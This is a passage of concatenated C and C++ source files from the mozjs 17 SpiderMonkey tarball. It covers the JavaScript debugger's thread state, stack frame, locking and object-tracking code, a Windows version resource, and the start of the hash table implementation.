((jsdthreadstate->stackDepth == 0 && !frame) || (jsdthreadstate->stackDepth == 1 && frame && frame->jsdscript && !JSD_IS_DEBUG_ENABLED(jsdc, frame->jsdscript))) { /* * if we failed to create the first frame, or the top frame * is not enabled for debugging, fail the entire thread state. */ JS_INIT_CLIST(&jsdthreadstate->links); JS_EndRequest(jsdthreadstate->context); jsd_DestroyThreadState(jsdc, jsdthreadstate); return NULL; } } } JS_EndRequest(jsdthreadstate->context); if (jsdthreadstate->stackDepth == 0) { free(jsdthreadstate); return NULL; } JSD_LOCK_THREADSTATES(jsdc); JS_APPEND_LINK(&jsdthreadstate->links, &jsdc->threadsStates); JSD_UNLOCK_THREADSTATES(jsdc); return jsdthreadstate; } void jsd_DestroyThreadState(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSDStackFrameInfo* jsdframe; JSCList* list; JS_ASSERT(jsdthreadstate); JS_ASSERT(JSD_CURRENT_THREAD() == jsdthreadstate->thread); JSD_LOCK_THREADSTATES(jsdc); JS_REMOVE_LINK(&jsdthreadstate->links); JSD_UNLOCK_THREADSTATES(jsdc); list = &jsdthreadstate->stack; while( (JSDStackFrameInfo*)list != (jsdframe = (JSDStackFrameInfo*)list->next) ) { JS_REMOVE_LINK(&jsdframe->links); _destroyFrame(jsdframe); } free(jsdthreadstate); } unsigned jsd_GetCountOfStackFrames(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { unsigned count = 0; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidThreadState(jsdc, jsdthreadstate) ) count = jsdthreadstate->stackDepth; JSD_UNLOCK_THREADSTATES(jsdc); return count; } JSDStackFrameInfo* jsd_GetStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSDStackFrameInfo* jsdframe = NULL; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidThreadState(jsdc, jsdthreadstate) ) jsdframe = (JSDStackFrameInfo*) JS_LIST_HEAD(&jsdthreadstate->stack); JSD_UNLOCK_THREADSTATES(jsdc); return jsdframe; } JSContext * jsd_GetJSContext (JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSContext* cx = NULL; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidThreadState(jsdc, jsdthreadstate) ) cx = jsdthreadstate->context; JSD_UNLOCK_THREADSTATES(jsdc); return cx; } JSDStackFrameInfo* jsd_GetCallingStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSDStackFrameInfo* nextjsdframe = NULL; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe) ) if( JS_LIST_HEAD(&jsdframe->links) != &jsdframe->jsdthreadstate->stack ) nextjsdframe = (JSDStackFrameInfo*) JS_LIST_HEAD(&jsdframe->links); JSD_UNLOCK_THREADSTATES(jsdc); return nextjsdframe; } JSDScript* jsd_GetScriptForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSDScript* jsdscript = NULL; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe) ) jsdscript = jsdframe->jsdscript; JSD_UNLOCK_THREADSTATES(jsdc); return jsdscript; } uintptr_t jsd_GetPCForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { uintptr_t pc = 0; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe) ) pc = jsdframe->pc; JSD_UNLOCK_THREADSTATES(jsdc); return pc; } JSDValue* jsd_GetCallObjectForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSObject* obj; JSDValue* jsdval = NULL; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe) ) { obj = JS_GetFrameCallObject(jsdthreadstate->context, jsdframe->fp); if(obj) jsdval = JSD_NewValue(jsdc, OBJECT_TO_JSVAL(obj)); } JSD_UNLOCK_THREADSTATES(jsdc); return jsdval; } JSDValue* jsd_GetScopeChainForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSObject* obj; JSDValue* jsdval = NULL; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe) ) { JS_BeginRequest(jsdthreadstate->context); obj = JS_GetFrameScopeChain(jsdthreadstate->context, jsdframe->fp); JS_EndRequest(jsdthreadstate->context); if(obj) jsdval = JSD_NewValue(jsdc, OBJECT_TO_JSVAL(obj)); } JSD_UNLOCK_THREADSTATES(jsdc); return jsdval; } JSDValue* jsd_GetThisForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSObject* obj; JSDValue* jsdval = NULL; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe) ) { JSBool ok; jsval thisval; JS_BeginRequest(jsdthreadstate->context); ok = JS_GetFrameThis(jsdthreadstate->context, jsdframe->fp, &thisval); JS_EndRequest(jsdthreadstate->context); if(ok) jsdval = JSD_NewValue(jsdc, thisval); } JSD_UNLOCK_THREADSTATES(jsdc); return jsdval; } JSString* jsd_GetIdForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSString *rv = NULL; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe) ) { JSFunction *fun = JS_GetFrameFunction (jsdthreadstate->context, jsdframe->fp); if( fun ) { rv = JS_GetFunctionId (fun); /* * For compatibility we return "anonymous", not an empty string * here. */ if( !rv ) rv = JS_GetAnonymousString(jsdc->jsrt); } } JSD_UNLOCK_THREADSTATES(jsdc); return rv; } JSBool jsd_IsStackFrameDebugger(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSBool rv = JS_TRUE; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe) ) { rv = JS_IsDebuggerFrame(jsdthreadstate->context, jsdframe->fp); } JSD_UNLOCK_THREADSTATES(jsdc); return rv; } JSBool jsd_IsStackFrameConstructing(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSBool rv = JS_TRUE; JSD_LOCK_THREADSTATES(jsdc); if( jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe) ) { rv = JS_IsConstructorFrame(jsdthreadstate->context, jsdframe->fp); } JSD_UNLOCK_THREADSTATES(jsdc); return rv; } JSBool jsd_EvaluateUCScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const jschar *bytes, unsigned length, const char *filename, unsigned lineno, JSBool eatExceptions, jsval *rval) { JSBool retval; JSBool valid; JSExceptionState* exceptionState = NULL; JSContext* cx; JS_ASSERT(JSD_CURRENT_THREAD() == jsdthreadstate->thread); JSD_LOCK_THREADSTATES(jsdc); valid = jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe); JSD_UNLOCK_THREADSTATES(jsdc); if( ! valid ) return JS_FALSE; cx = jsdthreadstate->context; JS_ASSERT(cx); if (eatExceptions) exceptionState = JS_SaveExceptionState(cx); JS_ClearPendingException(cx); jsd_StartingEvalUsingFilename(jsdc, filename); retval = JS_EvaluateUCInStackFrame(cx, jsdframe->fp, bytes, length, filename, lineno, rval); jsd_FinishedEvalUsingFilename(jsdc, filename); if (eatExceptions) JS_RestoreExceptionState(cx, exceptionState); return retval; } JSBool jsd_EvaluateScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const char *bytes, unsigned length, const char *filename, unsigned lineno, JSBool eatExceptions, jsval *rval) { JSBool retval; JSBool valid; JSExceptionState* exceptionState = NULL; JSContext *cx; JS_ASSERT(JSD_CURRENT_THREAD() == jsdthreadstate->thread); JSD_LOCK_THREADSTATES(jsdc); valid = jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe); JSD_UNLOCK_THREADSTATES(jsdc); if (!valid) return JS_FALSE; cx = jsdthreadstate->context; JS_ASSERT(cx); if (eatExceptions) exceptionState = JS_SaveExceptionState(cx); JS_ClearPendingException(cx); jsd_StartingEvalUsingFilename(jsdc, filename); retval = JS_EvaluateInStackFrame(cx, jsdframe->fp, bytes, length, filename, lineno, rval); jsd_FinishedEvalUsingFilename(jsdc, filename); if (eatExceptions) JS_RestoreExceptionState(cx, exceptionState); return retval; } JSString* jsd_ValToStringInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, jsval val) { JSBool valid; JSString* retval; JSExceptionState* exceptionState; JSContext* cx; JSD_LOCK_THREADSTATES(jsdc); valid = jsd_IsValidFrameInThreadState(jsdc, jsdthreadstate, jsdframe); JSD_UNLOCK_THREADSTATES(jsdc); if( ! valid ) return NULL; cx = jsdthreadstate->context; JS_ASSERT(cx); exceptionState = JS_SaveExceptionState(cx); retval = JS_ValueToString(cx, val); JS_RestoreExceptionState(cx, exceptionState); return retval; } JSBool jsd_IsValidThreadState(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSDThreadState *cur; JS_ASSERT( JSD_THREADSTATES_LOCKED(jsdc) ); for( cur = (JSDThreadState*)jsdc->threadsStates.next; cur != (JSDThreadState*)&jsdc->threadsStates; cur = (JSDThreadState*)cur->links.next ) { if( cur == jsdthreadstate ) return JS_TRUE; } return JS_FALSE; } JSBool jsd_IsValidFrameInThreadState(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JS_ASSERT(JSD_THREADSTATES_LOCKED(jsdc)); if( ! jsd_IsValidThreadState(jsdc, jsdthreadstate) ) return JS_FALSE; if( jsdframe->jsdthreadstate != jsdthreadstate ) return JS_FALSE; JSD_ASSERT_VALID_THREAD_STATE(jsdthreadstate); JSD_ASSERT_VALID_STACK_FRAME(jsdframe); return JS_TRUE; } static JSContext* _getContextForThreadState(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSBool valid; JSD_LOCK_THREADSTATES(jsdc); valid = jsd_IsValidThreadState(jsdc, jsdthreadstate); JSD_UNLOCK_THREADSTATES(jsdc); if( valid ) return jsdthreadstate->context; return NULL; } JSDValue* jsd_GetException(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSContext* cx; jsval val; if(!(cx = _getContextForThreadState(jsdc, jsdthreadstate))) return NULL; if(JS_GetPendingException(cx, &val)) return jsd_NewValue(jsdc, val); return NULL; } JSBool jsd_SetException(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDValue* jsdval) { JSContext* cx; if(!(cx = _getContextForThreadState(jsdc, jsdthreadstate))) return JS_FALSE; if(jsdval) JS_SetPendingException(cx, JSD_GetValueWrappedJSVal(jsdc, jsdval)); else JS_ClearPendingException(cx); return JS_TRUE; } mozjs17.0.0/js/jsd/jsd_lock.c0000664000175000017500000001207612106270662015736 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - Locking and threading support */ /* * ifdef JSD_USE_NSPR_LOCKS then you musat build and run against NSPR2. * Otherwise, there are stubs that can be filled in with your own locking * code. Also, note that these stubs include a jsd_CurrentThread() * implementation that only works on Win32 - this is needed for the inprocess * Java-based debugger. */ #include "jsd.h" #ifdef JSD_THREADSAFE #ifdef JSD_USE_NSPR_LOCKS #include "prlock.h" #include "prthread.h" #ifdef JSD_ATTACH_THREAD_HACK #include "pprthred.h" /* need this as long as JS_AttachThread is needed */ #endif struct JSDStaticLock { void* owner; PRLock* lock; int count; #ifdef DEBUG uint16_t sig; #endif }; /* * This exists to wrap non-NSPR theads (e.g. Java threads) in NSPR wrappers. * XXX We ignore the memory leak issue. * It is claimed that future versions of NSPR will automatically wrap on * the call to PR_GetCurrentThread. * * XXX We ignore the memory leak issue - i.e. we never call PR_DetachThread. * */ #undef _CURRENT_THREAD #ifdef JSD_ATTACH_THREAD_HACK #define _CURRENT_THREAD(out) \ JS_BEGIN_MACRO \ out = (void*) PR_GetCurrentThread(); \ if(!out) \ out = (void*) JS_AttachThread(PR_USER_THREAD,PR_PRIORITY_NORMAL,NULL);\ JS_ASSERT(out); \ JS_END_MACRO #else #define _CURRENT_THREAD(out) \ JS_BEGIN_MACRO \ out = (void*) PR_GetCurrentThread(); \ JS_ASSERT(out); \ JS_END_MACRO #endif #ifdef DEBUG #define JSD_LOCK_SIG 0x10CC10CC void ASSERT_VALID_LOCK(JSDStaticLock* lock) { JS_ASSERT(lock); JS_ASSERT(lock->lock); JS_ASSERT(lock->count >= 0); JS_ASSERT(lock->sig == (uint16_t) JSD_LOCK_SIG); } #else #define ASSERT_VALID_LOCK(x) ((void)0) #endif void* jsd_CreateLock() { JSDStaticLock* lock; if( ! (lock = calloc(1, sizeof(JSDStaticLock))) || ! (lock->lock = PR_NewLock()) ) { if(lock) { free(lock); lock = NULL; } } #ifdef DEBUG if(lock) lock->sig = (uint16_t) JSD_LOCK_SIG; #endif return lock; } void jsd_Lock(JSDStaticLock* lock) { void* me; ASSERT_VALID_LOCK(lock); _CURRENT_THREAD(me); if(lock->owner == me) { lock->count++; JS_ASSERT(lock->count > 1); } else { PR_Lock(lock->lock); /* this can block... */ JS_ASSERT(lock->owner == 0); JS_ASSERT(lock->count == 0); lock->count = 1; lock->owner = me; } } void jsd_Unlock(JSDStaticLock* lock) { void* me; ASSERT_VALID_LOCK(lock); _CURRENT_THREAD(me); /* it's an error to unlock a lock you don't own */ JS_ASSERT(lock->owner == me); if(lock->owner != me) return; if(--lock->count == 0) { lock->owner = NULL; PR_Unlock(lock->lock); } } #ifdef DEBUG JSBool jsd_IsLocked(JSDStaticLock* lock) { void* me; ASSERT_VALID_LOCK(lock); _CURRENT_THREAD(me); if (lock->owner != me) return JS_FALSE; JS_ASSERT(lock->count > 0); return JS_TRUE; } #endif /* DEBUG */ void* jsd_CurrentThread() { void* me; _CURRENT_THREAD(me); return me; } #else /* ! JSD_USE_NSPR_LOCKS */ #ifdef WIN32 #pragma message("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!") #pragma message("!! you are compiling the stubbed version of jsd_lock.c !!") #pragma message("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!") #endif /* * NOTE: 'Real' versions of these locks must be reentrant in the sense that * they support nested calls to lock and unlock. */ void* jsd_CreateLock() { return (void*)1; } void jsd_Lock(void* lock) { } void jsd_Unlock(void* lock) { } #ifdef DEBUG JSBool jsd_IsLocked(void* lock) { return JS_TRUE; } #endif /* DEBUG */ /* * This Windows only thread id code is here to allow the Java-based * JSDebugger to work with the single threaded js.c shell (even without * real locking and threading support). */ #ifdef WIN32 /* bogus (but good enough) declaration*/ extern void* __stdcall GetCurrentThreadId(void); #endif void* jsd_CurrentThread() { #ifdef WIN32 return GetCurrentThreadId(); #else return (void*)1; #endif } #endif /* JSD_USE_NSPR_LOCKS */ #endif /* JSD_THREADSAFE */ mozjs17.0.0/js/jsd/jsd_lock.h0000664000175000017500000000167612106270662015747 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Header for JavaScript Debugging support - Locking and threading functions */ #ifndef jsd_lock_h___ #define jsd_lock_h___ /* * If you want to support threading and locking, define JSD_THREADSAFE and * implement the functions below. */ /* * NOTE: These locks must be reentrant in the sense that they support * nested calls to lock and unlock. */ typedef struct JSDStaticLock JSDStaticLock; extern void* jsd_CreateLock(); extern void jsd_Lock(JSDStaticLock* lock); extern void jsd_Unlock(JSDStaticLock* lock); #ifdef DEBUG extern JSBool jsd_IsLocked(JSDStaticLock* lock); #endif /* DEBUG */ extern void* jsd_CurrentThread(); #endif /* jsd_lock_h___ */ mozjs17.0.0/js/jsd/jsd1640.rc0000664000175000017500000000265012106270662015420 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ ///////////////////////////////////////////////////////////////////////////// // Version stamp for this .DLL #include #include VS_VERSION_INFO VERSIONINFO FILEVERSION 4 // major, minor, release (alpha 1), build # PRODUCTVERSION 4 FILEFLAGSMASK 0 FILEFLAGS 0 // final version FILEOS VOS_DOS_WINDOWS16 FILETYPE VFT_DLL FILESUBTYPE 0 // not used BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904E4" // Lang=US English, CharSet=Windows Multilingual BEGIN VALUE "CompanyName", "Netscape Communications Corporation\0" VALUE "FileDescription", "Netscape 16-bit JavaScript Debugger Module\0" VALUE "FileVersion", "4.0\0" VALUE "InternalName", "JSD1640\0" VALUE "LegalCopyright", "Copyright Netscape Communications. 1994-96\0" VALUE "LegalTrademarks", "Netscape, Mozilla\0" VALUE "OriginalFilename","JSD1640.DLL\0" VALUE "ProductName", "NETSCAPE\0" VALUE "ProductVersion", "4.0\0" END END END mozjs17.0.0/js/jsd/jsd_obj.c0000664000175000017500000001441312106270662015555 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - Object support */ #include "jsd.h" /* * #define JSD_TRACE 1 */ #ifdef JSD_TRACE #define TRACEOBJ(jsdc, jsdobj, which) _traceObj(jsdc, jsdobj, which) static char * _describeObj(JSDContext* jsdc, JSDObject *jsdobj) { return JS_smprintf("%0x new'd in %s at line %d using ctor %s in %s at line %d", (int)jsdobj, JSD_GetObjectNewURL(jsdc, jsdobj), JSD_GetObjectNewLineNumber(jsdc, jsdobj), JSD_GetObjectConstructorName(jsdc, jsdobj), JSD_GetObjectConstructorURL(jsdc, jsdobj), JSD_GetObjectConstructorLineNumber(jsdc, jsdobj)); } static void _traceObj(JSDContext* jsdc, JSDObject* jsdobj, int which) { char* description; if( !jsdobj ) return; description = _describeObj(jsdc, jsdobj); printf("%s : %s\n", which == 0 ? "new " : which == 1 ? "final" : "ctor ", description); if(description) free(description); } #else #define TRACEOBJ(jsdc, jsdobj, which) ((void)0) #endif /* JSD_TRACE */ #ifdef DEBUG void JSD_ASSERT_VALID_OBJECT(JSDObject* jsdobj) { JS_ASSERT(jsdobj); JS_ASSERT(!JS_CLIST_IS_EMPTY(&jsdobj->links)); JS_ASSERT(jsdobj->obj); } #endif static void _destroyJSDObject(JSDContext* jsdc, JSDObject* jsdobj) { JS_ASSERT(JSD_OBJECTS_LOCKED(jsdc)); JS_REMOVE_LINK(&jsdobj->links); JS_HashTableRemove(jsdc->objectsTable, jsdobj->obj); if(jsdobj->newURL) jsd_DropAtom(jsdc, jsdobj->newURL); if(jsdobj->ctorURL) jsd_DropAtom(jsdc, jsdobj->ctorURL); if(jsdobj->ctorName) jsd_DropAtom(jsdc, jsdobj->ctorName); free(jsdobj); } static JSDObject* _createJSDObject(JSDContext* jsdc, JSContext *cx, JSObject *obj) { JSDObject* jsdobj; JSStackFrame* fp; JSStackFrame* iter = NULL; const char* newURL; jsbytecode* pc; JS_ASSERT(JSD_OBJECTS_LOCKED(jsdc)); jsdobj = (JSDObject*) calloc(1, sizeof(JSDObject)); if (jsdobj) { JS_INIT_CLIST(&jsdobj->links); JS_APPEND_LINK(&jsdobj->links, &jsdc->objectsList); jsdobj->obj = obj; JS_HashTableAdd(jsdc->objectsTable, obj, jsdobj); } return jsdobj; } void jsd_Constructing(JSDContext* jsdc, JSContext *cx, JSObject *obj, JSStackFrame *fp) { JSDObject* jsdobj; JSScript* script; JSDScript* jsdscript; const char* ctorURL; JSString* ctorNameStr; const char* ctorName; JSD_LOCK_OBJECTS(jsdc); jsdobj = jsd_GetJSDObjectForJSObject(jsdc, obj); if( jsdobj && !jsdobj->ctorURL ) { script = JS_GetFrameScript(cx, fp); if( script ) { ctorURL = JS_GetScriptFilename(cx, script); if( ctorURL ) jsdobj->ctorURL = jsd_AddAtom(jsdc, ctorURL); JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindOrCreateJSDScript(jsdc, cx, script, fp); JSD_UNLOCK_SCRIPTS(jsdc); if( jsdscript && (ctorNameStr = jsd_GetScriptFunctionId(jsdc, jsdscript)) ) { if( (ctorName = JS_EncodeString(cx, ctorNameStr)) ) { jsdobj->ctorName = jsd_AddAtom(jsdc, ctorName); JS_free(cx, (void *) ctorName); } } jsdobj->ctorLineno = JS_GetScriptBaseLineNumber(cx, script); } } TRACEOBJ(jsdc, jsdobj, 3); JSD_UNLOCK_OBJECTS(jsdc); } static JSHashNumber _hash_root(const void *key) { return ((JSHashNumber)(ptrdiff_t) key) >> 2; /* help lame MSVC1.5 on Win16 */ } JSBool jsd_InitObjectManager(JSDContext* jsdc) { JS_INIT_CLIST(&jsdc->objectsList); jsdc->objectsTable = JS_NewHashTable(256, _hash_root, JS_CompareValues, JS_CompareValues, NULL, NULL); return !!jsdc->objectsTable; } void jsd_DestroyObjectManager(JSDContext* jsdc) { jsd_DestroyObjects(jsdc); JSD_LOCK_OBJECTS(jsdc); JS_HashTableDestroy(jsdc->objectsTable); JSD_UNLOCK_OBJECTS(jsdc); } void jsd_DestroyObjects(JSDContext* jsdc) { JSD_LOCK_OBJECTS(jsdc); while( !JS_CLIST_IS_EMPTY(&jsdc->objectsList) ) _destroyJSDObject(jsdc, (JSDObject*)JS_NEXT_LINK(&jsdc->objectsList)); JSD_UNLOCK_OBJECTS(jsdc); } JSDObject* jsd_IterateObjects(JSDContext* jsdc, JSDObject** iterp) { JSDObject *jsdobj = *iterp; JS_ASSERT(JSD_OBJECTS_LOCKED(jsdc)); if( !jsdobj ) jsdobj = (JSDObject *)jsdc->objectsList.next; if( jsdobj == (JSDObject *)&jsdc->objectsList ) return NULL; *iterp = (JSDObject*) jsdobj->links.next; return jsdobj; } JSObject* jsd_GetWrappedObject(JSDContext* jsdc, JSDObject* jsdobj) { return jsdobj->obj; } const char* jsd_GetObjectNewURL(JSDContext* jsdc, JSDObject* jsdobj) { if( jsdobj->newURL ) return JSD_ATOM_TO_STRING(jsdobj->newURL); return NULL; } unsigned jsd_GetObjectNewLineNumber(JSDContext* jsdc, JSDObject* jsdobj) { return jsdobj->newLineno; } const char* jsd_GetObjectConstructorURL(JSDContext* jsdc, JSDObject* jsdobj) { if( jsdobj->ctorURL ) return JSD_ATOM_TO_STRING(jsdobj->ctorURL); return NULL; } unsigned jsd_GetObjectConstructorLineNumber(JSDContext* jsdc, JSDObject* jsdobj) { return jsdobj->ctorLineno; } const char* jsd_GetObjectConstructorName(JSDContext* jsdc, JSDObject* jsdobj) { if( jsdobj->ctorName ) return JSD_ATOM_TO_STRING(jsdobj->ctorName); return NULL; } JSDObject* jsd_GetJSDObjectForJSObject(JSDContext* jsdc, JSObject* jsobj) { JSDObject* jsdobj; JSD_LOCK_OBJECTS(jsdc); jsdobj = (JSDObject*) JS_HashTableLookup(jsdc->objectsTable, jsobj); JSD_UNLOCK_OBJECTS(jsdc); return jsdobj; } JSDObject* jsd_GetObjectForValue(JSDContext* jsdc, JSDValue* jsdval) { return jsd_GetJSDObjectForJSObject(jsdc, JSVAL_TO_OBJECT(jsdval->val)); } JSDValue* jsd_GetValueForObject(JSDContext* jsdc, JSDObject* jsdobj) { return jsd_NewValue(jsdc, OBJECT_TO_JSVAL(jsdobj->obj)); } mozjs17.0.0/js/jsd/jshash.cpp0000664000175000017500000002653212106270662015770 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * PR hash table package. */ #include #include #include "jstypes.h" #include "jsutil.h" #include "jshash.h" using namespace js; /* Compute the number of buckets in ht */ #define NBUCKETS(ht) JS_BIT(JS_HASH_BITS - (ht)->shift) /* The smallest table has 16 buckets */ #define MINBUCKETSLOG2 4 #define MINBUCKETS JS_BIT(MINBUCKETSLOG2) /* Compute the maximum entries given n buckets that we will tolerate, ~90% */ #define OVERLOADED(n) ((n) - ((n) >> 3)) /* Compute the number of entries below which we shrink the table by half */ #define UNDERLOADED(n) (((n) > MINBUCKETS) ? ((n) >> 2) : 0) /* ** Stubs for default hash allocator ops. */ static void * DefaultAllocTable(void *pool, size_t size) { return OffTheBooks::malloc_(size); } static void DefaultFreeTable(void *pool, void *item, size_t size) { UnwantedForeground::free_(item); } static JSHashEntry * DefaultAllocEntry(void *pool, const void *key) { return (JSHashEntry*) OffTheBooks::malloc_(sizeof(JSHashEntry)); } static void DefaultFreeEntry(void *pool, JSHashEntry *he, unsigned flag) { if (flag == HT_FREE_ENTRY) UnwantedForeground::free_(he); } static JSHashAllocOps defaultHashAllocOps = { DefaultAllocTable, DefaultFreeTable, DefaultAllocEntry, DefaultFreeEntry }; JSHashTable * JS_NewHashTable(uint32_t n, JSHashFunction keyHash, JSHashComparator keyCompare, JSHashComparator valueCompare, JSHashAllocOps *allocOps, void *allocPriv) { JSHashTable *ht; size_t nb; if (n <= MINBUCKETS) { n = MINBUCKETSLOG2; } else { n = JS_CEILING_LOG2W(n); if (int32_t(n) < 0) return NULL; } if (!allocOps) allocOps = &defaultHashAllocOps; ht = (JSHashTable*) allocOps->allocTable(allocPriv, sizeof *ht); if (!ht) return NULL; memset(ht, 0, sizeof *ht); ht->shift = JS_HASH_BITS - n; n = JS_BIT(n); nb = n * sizeof(JSHashEntry *); ht->buckets = (JSHashEntry**) allocOps->allocTable(allocPriv, nb); if (!ht->buckets) { allocOps->freeTable(allocPriv, ht, nb); return NULL; } memset(ht->buckets, 0, nb); ht->keyHash = keyHash; ht->keyCompare = keyCompare; ht->valueCompare = valueCompare; ht->allocOps = allocOps; ht->allocPriv = allocPriv; return ht; } void JS_HashTableDestroy(JSHashTable *ht) { uint32_t i, n; JSHashEntry *he, **hep; JSHashAllocOps *allocOps = ht->allocOps; void *allocPriv = ht->allocPriv; n = NBUCKETS(ht); for (i = 0; i < n; i++) { hep = &ht->buckets[i]; while ((he = *hep) != NULL) { *hep = he->next; allocOps->freeEntry(allocPriv, he, HT_FREE_ENTRY); } } #ifdef DEBUG memset(ht->buckets, 0xDB, n * sizeof ht->buckets[0]); #endif allocOps->freeTable(allocPriv, ht->buckets, n * sizeof ht->buckets[0]); #ifdef DEBUG memset(ht, 0xDB, sizeof *ht); #endif allocOps->freeTable(allocPriv, ht, sizeof *ht); } /* * Multiplicative hash, from Knuth 6.4. */ #define BUCKET_HEAD(ht, keyHash) \ (&(ht)->buckets[((keyHash) * JS_GOLDEN_RATIO) >> (ht)->shift]) JSHashEntry ** JS_HashTableRawLookup(JSHashTable *ht, JSHashNumber keyHash, const void *key) { JSHashEntry *he, **hep, **hep0; #ifdef JS_HASHMETER ht->nlookups++; #endif hep = hep0 = BUCKET_HEAD(ht, keyHash); while ((he = *hep) != NULL) { if (he->keyHash == keyHash && ht->keyCompare(key, he->key)) { /* Move to front of chain if not already there */ if (hep != hep0) { *hep = he->next; he->next = *hep0; *hep0 = he; } return hep0; } hep = &he->next; #ifdef JS_HASHMETER ht->nsteps++; #endif } return hep; } static JSBool Resize(JSHashTable *ht, uint32_t newshift) { size_t nb, nentries, i; JSHashEntry **oldbuckets, *he, *next, **hep; size_t nold = NBUCKETS(ht); JS_ASSERT(newshift < JS_HASH_BITS); nb = (size_t)1 << (JS_HASH_BITS - newshift); /* Integer overflow protection. */ if (nb > (size_t)-1 / sizeof(JSHashEntry*)) return JS_FALSE; nb *= sizeof(JSHashEntry*); oldbuckets = ht->buckets; ht->buckets = (JSHashEntry**)ht->allocOps->allocTable(ht->allocPriv, nb); if (!ht->buckets) { ht->buckets = oldbuckets; return JS_FALSE; } memset(ht->buckets, 0, nb); ht->shift = newshift; nentries = ht->nentries; for (i = 0; nentries != 0; i++) { for (he = oldbuckets[i]; he; he = next) { JS_ASSERT(nentries != 0); --nentries; next = he->next; hep = BUCKET_HEAD(ht, he->keyHash); /* * We do not require unique entries, instead appending he to the * chain starting at hep. */ while (*hep) hep = &(*hep)->next; he->next = NULL; *hep = he; } } #ifdef DEBUG memset(oldbuckets, 0xDB, nold * sizeof oldbuckets[0]); #endif ht->allocOps->freeTable(ht->allocPriv, oldbuckets, nold * sizeof oldbuckets[0]); return JS_TRUE; } JSHashEntry * JS_HashTableRawAdd(JSHashTable *ht, JSHashEntry **&hep, JSHashNumber keyHash, const void *key, void *value) { uint32_t n; JSHashEntry *he; /* Grow the table if it is overloaded */ n = NBUCKETS(ht); if (ht->nentries >= OVERLOADED(n)) { if (!Resize(ht, ht->shift - 1)) return NULL; #ifdef 